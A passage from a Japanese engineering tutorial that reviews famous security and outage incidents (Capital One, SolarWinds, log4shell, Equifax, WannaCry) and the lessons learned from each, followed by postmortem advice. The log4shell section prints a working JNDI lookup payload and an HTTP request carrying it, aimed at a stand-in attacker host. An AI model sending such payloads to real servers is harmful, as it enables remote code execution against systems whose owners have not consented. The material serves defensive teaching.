  • EC2 IAM Role の権限が過剰(S3 への広範な読み取り権限)
  • IMDSv1 を使い続けていた(IMDSv2 ならトークン必須で防げた)

被害規模:

  • 1.06億人分の個人情報
  • 罰金・和解金 $270M+
  • ブランド毀損は計り知れない

学べる教訓:

  • SSRF 対策をすべての外部リクエスト処理に入れる。「内部 IP・メタデータ IP へのアクセスは拒否」をデフォルトに
  • IAM Role の権限は「最小権限原則」で。必要なバケットだけ、必要な操作だけ
  • AWS の場合、IMDSv2 を強制する(トークンベース認証)
  • WAF は「魔法の盾」ではない。設定ミス・SSRF・バイパスはある
  • 「内部しか叩けない URL だから安全」は通用しない。誰かが外から叩ける橋を作る

SSRF は今でも頻発する

Capital One 事件以降も SSRF は OWASP Top 10 に毎年入っている。AWS だけでなく GCP の メタデータエンドポイント(metadata.google.internal)、Azure の IMDS も同じ攻撃対象。

自社の Web アプリで「ユーザーが指定した URL を取得する機能」があるなら、必ず:

  • プライベート IP レンジ(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16)への接続を禁止
  • DNS リバインディング対策(IP を解決してから接続)
  • クラウド固有のメタデータエンドポイントをブロック

セキュリティ 章でさらに詳しく扱う予定。

詳細を知るには

  • 起訴状: 米国司法省 “United States v. Paige A. Thompson”
  • AWS IMDSv2 公式ドキュメント

第10章: SolarWinds 2020 - ソフトウェアサプライチェーン攻撃の象徴

10-1. 何が起きたか

2020年12月、セキュリティ会社 FireEye が「自社が国家レベルのサイバー攻撃を受けた」と公表した。調査を進めると、攻撃の侵入経路は FireEye の脆弱性ではなく、FireEye が使っていた IT 監視ソフトウェア「SolarWinds Orion」 だったことが判明した。

つまり、攻撃者は SolarWinds 社のソフトウェアビルドパイプラインに侵入し、Orion の更新版にバックドアを仕込んでいた。SolarWinds の正規アップデート(コード署名済み)を通じて、世界中の Orion ユーザーにバックドアが配布されていた。

被害企業は名だたる組織を含む:

  • 米国国土安全保障省、財務省、商務省、エネルギー省(核兵器管理含む)、国務省
  • Microsoft、Cisco、Intel、Deloitte、Nvidia
  • 多数のフォーチュン500企業
  • 推定18,000組織が悪意ある更新をインストール

これがソフトウェアサプライチェーン攻撃の歴史的な事件として記録された。

↓ SolarWinds サプライチェーン攻撃の伝播 ↓

flowchart TD
    APT[APT29 / Cozy Bear<br/>ロシア国家支援グループ] --> Build[SolarWindsのビルド環境に侵入]
    Build --> Inject[ビルド時にバックドアSUNBURSTを挿入<br/>※ソースコードには痕跡なし]
    Inject --> Sign[正規のコード署名で出荷]
    Sign --> Update[Orion 正規アップデートとして配布]
    Update --> V1[米国国務省・財務省・国土安全保障省]
    Update --> V2[エネルギー省・核兵器管理組織]
    Update --> V3[Microsoft / Cisco / Intel]
    Update --> V4[Nvidia / Deloitte / FireEye]
    Update --> V5[多数のフォーチュン500企業]
    V1 --> Total[推定18,000組織が感染]
    V2 --> Total
    V3 --> Total
    V4 --> Total
    V5 --> Total
    Total --> Detect[9ヶ月間気付かれず<br/>FireEyeが自社侵害から発覚]

10-2. 攻撃手法

攻撃者(ロシアの国家支援グループ「APT29 / Cozy Bear」と推定)は、SolarWinds のビルド環境に侵入し、ソースコードリポジトリではなく ビルド時に挿入される形 でバックドアを仕込んだ。つまり、SolarWinds のソースコードを見ても何も異常がない。コンパイル時にだけ、悪意あるコードが組み込まれる仕組み。

このバックドア「SUNBURST」は:

  • 12〜14日の休眠期間を持つ(自動分析を逃れる)
  • 特定の C&C サーバーと通信
  • 偵察用にホスト情報を送信、選別された組織にのみ第2段階のマルウェアを送り込む

非常に洗練された設計で、検知まで約9ヶ月かかった。

10-3. 影響と余波

  • 米国政府全体のセキュリティ態勢の見直し
  • バイデン大統領の大統領令(EO 14028)でソフトウェアサプライチェーンセキュリティが国家戦略に
  • SBOM(Software Bill of Materials)の標準化が加速
  • 業界全体で「依存先のセキュリティも自分の責任」という意識が広がる

10-4. 学べる教訓

Technical root cause:

  • SolarWinds のビルドパイプラインへの侵入
  • コード署名で「正規」と扱われたバックドア
  • 顧客側の検知能力不足(9ヶ月間気付かれなかった)

学べる教訓:

  • 自社の依存ソフトウェアを把握する(SBOM)
  • ソフトウェア更新を「無条件で信用」するのは危険。重要システムでは段階的適用+監視
  • ビルドパイプライン自体のセキュリティが重要(コード署名鍵の保護、ビルドサーバーの分離)
  • ネットワーク監視(EDR、NDR)で「異常な通信」を検知する仕組みが必要
  • ゼロトラストアーキテクチャの本格採用が必要

サプライチェーン攻撃の系譜

SolarWinds が衝撃的だったのは規模だが、同様の手法は過去にもある。

  • Ccleaner 2017: 配布バイナリにバックドア、230万ダウンロード
  • NotPetya 2017: ウクライナの会計ソフト M.E.Doc 経由で配布、10億ドル超被害
  • 3CX 2023: 通話アプリのインストーラーにバックドア
  • XZ Utils バックドア 2024: オープンソースに2年かけて協力者として入り込み、メンテナを乗っ取る

サプライチェーン攻撃は今後増える。「自分が書いたコード」だけでなく「自分が使っているライブラリ・ツール」も攻撃対象。


第11章: log4shell 2021 - 世界中の Java システムが一夜で脆弱に

11-1. 何が起きたか

2021年12月9日、Java のロギングライブラリ Apache Log4j2致命的な脆弱性 CVE-2021-44228 が公開された。後に「log4shell」と命名されたこの脆弱性は、CVSS スコア 10.0(最高)の評価で、リモートからの任意コード実行を可能にした。

Log4j は Java エコシステムで最も使われているロギングライブラリ。世界中の Java で書かれたサーバー、Minecraft サーバー、Apple iCloud、Twitter、Steam、Tesla、Amazon、IBM など、ありとあらゆるシステムが影響を受けた。

11-2. 攻撃手法: JNDI Lookup

Log4j2 には「ログメッセージ内に特定の文字列を埋め込むと、外部の値を取得して埋め込む」という機能(JNDI Lookup)があった。具体的にはこんな書式:

${jndi:ldap://attacker.com/exploit}

この文字列が Log4j にログとして渡されると、Log4j は LDAP サーバー attacker.com に接続し、返ってきた Java クラスファイルを実行する。

問題は、ユーザー入力をログ出力する箇所すべてが攻撃ポイントになる こと。HTTP ヘッダー、URL、User-Agent、Cookie、ユーザー名、検索クエリ、なんでもログに残しているなら、すべて攻撃ベクター。

攻撃のシンプルさは衝撃的だった:

GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/x}

これだけでサーバーで任意コード実行ができる。

↓ log4shell の攻撃ベクター ↓

sequenceDiagram
    participant A as 攻撃者
    participant T as 攻撃対象サーバー<br/>(Log4j2使用)
    participant L as 攻撃者LDAPサーバー
    A->>T: GET / User-Agent: ${jndi:ldap://attacker/x}
    Note over T: ユーザー入力をログに記録
    T->>T: Log4j2 が JNDI Lookup を評価
    T->>L: LDAP接続: ldap://attacker/x
    L-->>T: 悪意あるJavaクラスファイルを返す
    T->>T: Javaクラスをロード・実行
    Note over T: リモートコード実行成立<br/>CVSS 10.0
    T-->>A: 任意のコードが攻撃者制御下で動作

11-3. 被害の規模

  • 公開後数時間で、世界中のサーバーへの攻撃が開始
  • Minecraft サーバーで実証、ゲーマーがチャットで ${jndi:...} を送るだけで他人のPCを乗っ取れる事態に
  • 多数の企業が緊急パッチ適用、米国政府は「全連邦機関、即時対応」を指示
  • 完全パッチ完了まで数ヶ月、影響範囲を完全把握できた組織は少ない

11-4. 原因と教訓

Technical root cause:

  • Log4j に「ログ文字列の評価」機能があった(設計の不要な機能)
  • JNDI が任意の外部サーバーから Java クラスをロード・実行できた
  • デフォルトでこの機能が有効だった

学べる教訓:

  • 依存ライブラリの脆弱性は自分のシステムの脆弱性。すぐ更新できる仕組みを
  • 「ライブラリにこんな機能が」を全部把握するのは不可能。だから Defense in Depth(多層防御)が必要
    • 外部への通信を制限(WAF、egress filter)
    • サーバーの権限を最小化(コンテナ、SELinux)
    • 入力検証を多層に
  • 依存関係を可視化する(SBOM)
  • 緊急パッチ運用の訓練(log4shell のような事態は今後も起きる)

依存関係の透明性

自分のアプリが「直接依存するライブラリ」は把握していても、その「ライブラリが依存するライブラリ」(推移的依存)まで把握しているか? Log4j は、多くの Java アプリで「直接は使ってない、でも依存ライブラリの中で使われていた」。

ツール: npm lspip-toolsgo mod graphmvn dependency:tree で確認できる。OWASP Dependency-Check、Snyk、Dependabot などのスキャナーも活用する。

Log4shell 後の業界の動き

この事件をきっかけに、米国・EU でオープンソースへの公的支援の必要性が議論された。世界中のインフラを支える OSS が、ボランティアメンテナによって維持されている現実への危機感。

Linux Foundation の「OpenSSF」(Open Source Security Foundation)が活動を本格化、OSS のセキュリティ強化に多額の資金が投入されるようになった。


第12章: Equifax 2017 - 1.43億人分の信用情報が流出した夏

12-1. 何が起きたか

2017年9月、米国大手信用情報会社 Equifax が、1.43億人分の個人情報流出 を公表した。米国成人人口の約半数が影響を受けた歴史的事件。流出した情報は氏名、社会保障番号、生年月日、住所、運転免許証番号、クレジットカード番号。米国の成人が「自分のデータが流出してない確率」より「流出している確率」のほうが高くなった瞬間。

12-2. 原因: パッチ未適用の Apache Struts

侵入経路は Apache Struts(Java の Web フレームワーク)の既知の脆弱性 CVE-2017-5638。リモートコード実行が可能なクリティカルな脆弱性で、事件発生の2ヶ月前にパッチが公開されていた にも関わらず、Equifax の Web アプリは未パッチのまま運用されていた。

攻撃者は2017年5月から侵入を開始。検知されないまま約2ヶ月間 Equifax 社内ネットワークを探索し、1.43億件のデータを抜き取った。Equifax 自身が侵入に気付いたのは7月29日、世間への公表は9月7日。

12-3. 杜撰な対応の連鎖

Equifax の対応も酷かった:

  • 公表前に経営幹部3名が自社株を売却(インサイダー疑惑)
  • 被害者向けの確認サイトに「フィッシングサイトのような URL」を使用
  • 確認サイトに別の脆弱性があり、新たな漏洩源に
  • カスタマーサポートの担当者が、被害者を実在しないサイトに誘導するツイート

12-4. 余波

  • $700M の制裁金(米国 FTC)
  • CEO・CIO・CSO が辞任
  • 業界全体で「パッチ管理」が経営層レベルの議題に
  • 米国議会が個人情報保護法の議論を加速

12-5. 学べる教訓

Technical root cause:

  • 既知脆弱性のパッチ未適用(2ヶ月放置)
  • 内部での横展開を防げなかった
  • 侵入検知の遅さ(2ヶ月気付かず)
  • データ暗号化・分離が不十分

学べる教訓:

  • パッチ管理は最重要のセキュリティ業務。CVE 公開から72時間以内に評価する体制を
  • 「重要なシステムに重要な脆弱性が出た時、何時間で対応できるか」を測れ
  • 内部ネットワークの監視(east-west traffic)が侵入検知の鍵
  • 個人情報は暗号化+アクセスログ+最小権限の3点セット
  • インシデント対応計画は事前に作っておく(広報込みで)

第13章: ワーム攻撃の系譜 - Code Red 2001 / WannaCry 2017

13-1. Code Red 2001 - 自己増殖するインターネット感染

2001年7月、Microsoft IIS(Windows のウェブサーバー)の脆弱性を悪用したワーム「Code Red」が大流行した。バッファオーバーフロー脆弱性を突き、感染した IIS から自動的に他の IIS を探して感染する自己増殖型マルウェア。

特徴:

  • わずか数時間で35万台のサーバーを感染
  • 感染サーバーは特定の日時に米国ホワイトハウスへ DDoS 攻撃を実行(米政府は IP を変更して回避)
  • 被害推定 $2.6 Billion(当時の規模で)

Code Red は「ワーム攻撃」の存在を世界に印象づけた。それまで「マルウェアは人間がクリックして感染する」と思われていたが、Code Red は 誰もクリックしない、勝手に広がる ことを実証した。

13-2. WannaCry 2017 - 国家機密の漏洩から生まれたランサムウェア

2017年5月、ランサムウェア「WannaCry」が世界中で大流行。Windows の SMBv1 プロトコルの脆弱性「EternalBlue」を悪用して自己増殖し、感染した PC のファイルを暗号化、ビットコインでの身代金支払いを要求した。

衝撃的だったのは、EternalBlue は元々 NSA(米国家安全保障局)が開発したスパイツール だったこと。Shadow Brokers というハッカー集団が NSA から盗み出してリークしたものを、サイバー犯罪者が転用した。

被害:

  • 150カ国以上、30万台以上のコンピュータが感染
  • 英国 NHS(国民保健サービス)の病院が機能停止、手術キャンセル
  • 日産、ルノー、FedEx、ドイツ鉄道などの大企業が影響
  • 経済損失推定 $4-8 Billion

WannaCry は途中で「kill switch」(特定のドメインに接続できれば暗号化を止める仕組み)が発見されたことで急停止したが、その仕組みは作成者の意図ではなく、発見した英国の若手研究者の偶然の機転だった。

13-3. 共通の教訓

Technical root cause:

  • 既知脆弱性のパッチ未適用(両事件とも、パッチは事前公開済み)
  • 古いプロトコルの放置(WannaCry の SMBv1 は当時すでに非推奨)
  • ネットワーク分離の不足(社内 PC が他社内 PC に直接通信できた)

学べる教訓:

  • ワームは速い。人間が反応する前に世界に広がる
  • 「インターネットに繋がっていないから安全」は嘘。USB、出張先 PC、リモート接続経由で感染する
  • パッチを「適用する仕組み」を組織として持つ
  • 国家機関の機密が漏れたら、それは犯罪者の武器になる(攻撃の道具の汎用化)

「もう古いプロトコル」を惰性で使い続ける危険

SMBv1、Telnet、FTP、SSLv2 など、20年以上前から非推奨とされているプロトコルが、今でも企業内に残っていることがある。「動いてるから触らない」が一番危険な状態。

定期的に「使っているプロトコル・バージョン」の棚卸しをやる。CVE 公開時に「自分の組織が影響を受けるか」を即答できる体制が必要。


共通の教訓 - 全インシデントから読み取れる5つのパターン

ここまで13の事件を見てきた。それぞれ独立した事件だが、よく見ると共通のパターンが浮かび上がる。

1. 「うちは大丈夫」が一番危ない

GitLab、AWS、Cloudflare、Capital One。これらすべて、業界トップレベルのエンジニア組織だ。それでも事故は起きた。「うちは違う」と思っているなら、すでに事故の素地ができている。

2. 人的ミスは技術で受け止める

ほぼ全ての事件で、根本原因に「人的ミス」が絡んでいる。GitLab の SSH 取り違え、AWS のコマンド引数ミス、Knight Capital のデプロイ忘れ、British Airways の電源操作。

人間はミスする生き物。これは前提。技術で「ミスしても致命的にならない仕組み」を作るのが、本物のエンジニアリング。

具体的には:

  • 本番サーバーへの破壊的コマンドにガードレール
  • 重要操作は2人体制(Two-person rule)
  • 自動デプロイの全台確認
  • カナリアリリースで段階的展開

3. バックアップと DR は「動作確認」して初めて存在する

GitLab、British Airways、Equifax。「バックアップがあるはず」「DR 計画があるはず」が実は機能しなかった事件は多い。

リストアテスト、DR ドリル。実際に「壊して、戻す」をやらないと、計画は計画でしかない。

4. 単一障害点は必ず生まれる

AWS S3 US-EAST-1、Fastly のグローバル CDN、Cloudflare の WAF、GoDaddy の DNS。「自分のシステムには単一障害点は無い」と思っていても、依存しているサービスに単一障害点があれば、結局そこで止まる。

依存マップを書く。各依存先が落ちた時に何が起きるか書く。許容できないものはバックアップを用意する。

5. 透明性は信頼を生む

GitLab、Cloudflare、AWS、Fastly。事故を起こした後、詳細なポストモーテムを公開した会社は信頼を回復した。逆に隠蔽・遅延した会社(Equifax など)は信頼を大きく失った。

事故は起きる。起きた後の対応が、その会社の真の評価を決める。


全インシデントの早見表

事件直接原因学べる最大の教訓
2001Code Redパッチ未適用 IISワームは数時間で世界に広がる
2012Knight Capitalデプロイ漏れ+古いコードキルスイッチを持て、不要コードは消せ
2012GoDaddy DNS 停止ルーター設定ミスネットワーク変更は慎重に+複数 DNS
2014AWS US-EAST-1計画メンテリージョン分散を考えろ
2017AWS S3 大規模障害コマンド引数ミス自分の依存先を把握、ステータスは外で
2017GitLab DB 削除rm -rf 誤実行バックアップは動作確認してこそ
2017WannaCryEternalBlue 悪用パッチを当てろ、古いプロトコルを捨てろ
2017EquifaxStruts パッチ未適用パッチ管理は経営課題
2017British Airways電源切替ミスDR ドリルを実施しろ
2019Cloudflare WAFcatastrophic backtracking正規表現の計算量に注意
2019Capital OneSSRF + IMDSSSRF 対策+最小権限+IMDSv2
2020SolarWindsビルドパイプライン侵入サプライチェーンも自分の責任
2021Fastlyテナント分離不足マルチテナントは設計と実装が別
2021log4shellJNDI Lookup依存関係を可視化+多層防御

↓ インシデント対応の5フェーズ ↓

flowchart LR
    Detect[1. 検知<br/>監視/アラート/通報] --> Contain[2. 封じ込め<br/>影響範囲を限定]
    Contain --> Eradicate[3. 根絶<br/>原因の完全除去]
    Eradicate --> Recover[4. 復旧<br/>サービス・データを戻す]
    Recover --> Learn[5. 学習<br/>blameless postmortem]
    Learn -.改善を仕組みに.-> Detect

あなたが明日からできること

ここまで読んだあなたへの、現実的なアクションリストを置いておく。本気のバックエンドエンジニアになるなら、これは「読んだだけ」で終わらせない。

個人エンジニアとしての行動

基本動作:

  • 本番サーバーへの SSH プロンプトを色付けする(赤=本番、緑=開発)
  • rm -rf を打つ前に必ず pwd で現在地を確認する習慣
  • 自分が使うサービスの「依存マップ」を書いてみる
  • 自分のチームのバックアップから、過去に実際に戻したことがあるか確認する

設計時の意識:

  • SSRF 防御、SQL インジェクション防御、認証認可を「あとから」じゃなく「最初から」入れる
  • キルスイッチを設計する(緊急停止のスイッチ)
  • ログ記録の方針を決める(何を残す、何を残さない、PII どうする)
  • エラー時のフォールバック挙動を明示的に書く

継続的に:

  • 業界の主要なポストモーテムを読む習慣(年に10件くらい)
  • 自分のサービスで「もしこの依存が落ちたら」を週1回考える
  • CVE のニュースを購読する(NVD、JVN など)

チーム・組織への提案

  • 四半期に1度、ランダムなサーバーを停止する「カオスエンジニアリング」を導入
  • DR ドリルを年1〜2回
  • インシデント発生時のテンプレート文書を準備
  • blameless postmortem の文化を作る(個人を責めない、システムを責める)
  • 重要操作の Two-person rule を導入

blameless postmortem の書き方

障害が起きた後、ポストモーテムを書くときは、以下の構造で:

  1. What happened: 時系列で淡々と。誰が何をしたか、ではなく、システムが何の状態になったか
  2. Impact: 顧客への影響、内部への影響を数字で
  3. Root cause: 「○○さんが間違えた」ではなく「○○の状態でしか防げない仕組みになっていた」
  4. What went well: 良かった対応も書く。次回も再現するため
  5. What went wrong: 悪かった点を、システム視点で
  6. Action items: 担当者と期限を明記。完了するまで追跡

重要なのは、「次回もし同じ条件になったらどうするか」が読み手に伝わること。


締め: 失敗から学ぶことの本質

ここまで読んで、ちょっと暗い気持ちになったかもしれない。これだけの事故が起きるなら、どうしてサービスが動いているのか不思議になる。

逆だ。これだけの事故を 業界全体で共有して学んでいる から、サービスは動いているのだ。

20年前のエンジニアと比べて、今のエンジニアは圧倒的に有利な立場にいる。先輩たちが転んだ穴を、地図として渡されている。Git で誤って rm を打つ確率は、誰かが先に経験して教訓を残してくれている。SSRF で個人情報を流出させる脆弱性は、誰かが既に世界に晒して、対策方法を共有してくれている。

これらの教訓を吸収して、自分のシステムに活かす。そしていつかあなた自身が事故を起こした時、隠さずに公開して、次の世代に渡す。それが、業界全体が前に進む唯一の方法だ。

「失敗から学ぶ」は、自分の失敗だけじゃない。他人の失敗から、もっと多く学べる。あなたはたった今、業界の集合知の一部を受け取った。

次は実装で活かす番だ。


さらに深掘りするなら

  • 書籍: 『SRE サイトリライアビリティエンジニアリング』(Google、O’Reilly)- ポストモーテム文化の原典
  • 書籍: 『ソフトウェアアーキテクチャの基礎』(O’Reilly)- 設計判断のトレードオフ
  • 書籍: 『データ指向アプリケーションデザイン』(Martin Kleppmann)- 分散システムの落とし穴
  • ウェブ: github.com/danluu/post-mortems - ポストモーテム集の決定版
  • ウェブ: AWS Architecture Center の Well-Architected Framework
  • ニュースレター: SRE Weekly、Last Week in AWS、tldrsec(セキュリティ)

次の読み物

10_キャリア.md - エンジニアのキャリアの考え方

ここまで「技術」を見てきた連載の最後は、それを支える「人」の話。エンジニアとしてのキャリアをどう設計するか、何を学び、何を捨てるか。「コードが書ける」を超えた成長の道筋について。

10. エンジニアのキャリアの考え方 へ続く。


関連